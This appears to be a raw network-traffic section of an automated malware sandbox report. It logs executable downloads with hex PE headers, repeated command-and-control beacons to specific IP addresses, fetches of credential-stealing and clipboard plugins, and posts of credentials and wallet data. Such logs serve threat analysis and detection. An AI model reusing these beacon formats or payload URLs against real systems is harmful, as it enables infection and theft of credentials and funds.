Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 Dec 2024 21:57:27 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 12 Dec 2024 18:53:40 GMTETag: "1f000-629173b87b500"Accept-Ranges: bytesContent-Length: 126976Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c8 f9 ef 50 8c 98 81 03 8c 98 81 03 8c 98 81 03 98 f3 82 02 86 98 81 03 98 f3 84 02 05 98 81 03 98 f3 85 02 9e 98 81 03 de ed 85 02 83 98 81 03 de ed 82 02 9d 98 81 03 de ed 84 02 ad 98 81 03 98 f3 80 02 8b 98 81 03 8c 98 80 03 ed 98 81 03 40 ed 88 02 8f 98 81 03 40 ed 81 02 8d 98 81 03 40 ed 7e 03 8d 98 81 03 40 ed 83 02 8d 98 81 03 52 69 63 68 8c 98 81 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 84 96 5a 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1d 00 44 01 00 00 b4 00 00 00 00 00 00 62 70 00 00 00 10 00 00 00 60 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 cd 01 00 9c 00 00 00 ac cd 01 00 50 00 00 00 00 00 02 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 f8 1a 00 00 84 bb 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 bb 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 06 43 01 00 00 10 00 00 00 44 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2a 75 00 00 00 60 01 00 00 76 00 00 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 1f 00 00 00 e0 01 00 00 14 00 00 00 be 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 00 02 00 00 02 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f8 1a 00 00 00 10 02 00 00 1c 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 Dec 2024 21:57:27 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 12 Dec 2024 18:53:40 GMTETag: "1f000-629173b87b500"Accept-Ranges: bytesContent-Length: 126976Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c8 f9 ef 50 8c 98 81 03 8c 98 81 03 8c 98 81 03 98 f3 82 02 86 98 81 03 98 f3 84 02 05 98 81 03 98 f3 85 02 9e 98 81 03 de ed 85 02 83 98 81 03 de ed 82 02 9d 98 81 03 de ed 84 02 ad 98 81 03 98 f3 80 02 8b 98 81 03 8c 98 80 03 ed 98 81 03 40 ed 88 02 8f 98 81 03 40 ed 81 02 8d 98 81 03 40 ed 7e 03 8d 98 81 03 40 ed 83 02 8d 98 81 03 52 69 63 68 8c 98 81 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 84 96 5a 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1d 00 44 01 00 00 b4 00 00 00 00 00 00 62 70 00 00 00 10 00 00 00 60 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 cd 01 00 9c 00 00 00 ac cd 01 00 50 00 00 00 00 00 02 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 f8 1a 00 00 84 bb 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 bb 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 06 43 01 00 00 10 00 00 00 44 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2a 75 00 00 00 60 01 00 00 76 00 00 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 1f 00 00 00 e0 01 00 00 14 00 00 00 be 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 00 02 00 00 02 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f8 1a 00 00 00 10 02 00 00 1c 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 14 Dec 2024 13:57:55 GMTContent-Type: application/octet-streamContent-Length: 3026432Last-Modified: Sat, 14 Dec 2024 13:02:19 GMTConnection: keep-aliveETag: "675d81db-2e2e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 32 00 00 04 00 00 eb 0a 2f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c c0 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c c0 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 69 68 6a 61 6b 76 67 00 20 2b 00 00 b0 06 00 00 12 2b 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6c 6b 70 75 6e 68 65 00 10 00 00 00 d0 31 00 00 06 00 00 00 06 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 31 00 00 22 00 00 00 0c 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/8199790517/K6UAlAU.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 31 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015193001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/hell911/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 32 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015200001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 32 30 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015201001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 32 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015202001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 32 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015203001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 32 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015204001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 30 39 41 41 46 34 33 30 42 43 37 46 33 38 45 46 46 39 44 42 38 46 37 38 32 35 39 33 46 42 43 31 38 32 32 38 32 34 42 45 31 30 44 42 36 34 34 34 43 37 38 45 41 45 38 33 43 43 33 33 42 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93209AAF430BC7F38EFF9DB8F782593FBC1822824BE10DB6444C78EAE83CC33B
Source: global traffic	HTTP traffic detected: GET /update.exe HTTP/1.1Host: 185.81.68.147
Source: global traffic	HTTP traffic detected: GET /update.exe HTTP/1.1Host: 185.81.68.147
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 32 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015205001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/encoxx/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /7vhfjke3/Plugins/cred64.dll HTTP/1.1Host: 185.81.68.147
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 32Cache-Control: no-cacheData Raw: 65 32 3d 31 30 30 30 30 38 35 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e2=10000850101&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 31 35 32 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1015206001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: GET /files/1737349212/XAzdvQx.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 31 35 32 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1015207001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----NjE1Mw==Host: 185.81.68.147Content-Length: 6313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /7vhfjke3/Plugins/clip64.dll HTTP/1.1Host: 185.81.68.147
Source: global traffic	HTTP traffic detected: GET /7vhfjke3/Plugins/clip64.dll HTTP/1.1Host: 185.81.68.147
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: GET /files/hell911/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Thu, 12 Dec 2024 23:33:40 GMTIf-None-Match: "675b72d4-289a00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 32 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015208001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----NjE1Mw==Host: 185.81.68.147Content-Length: 6313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 38 36 30 32 32 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10000860221&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
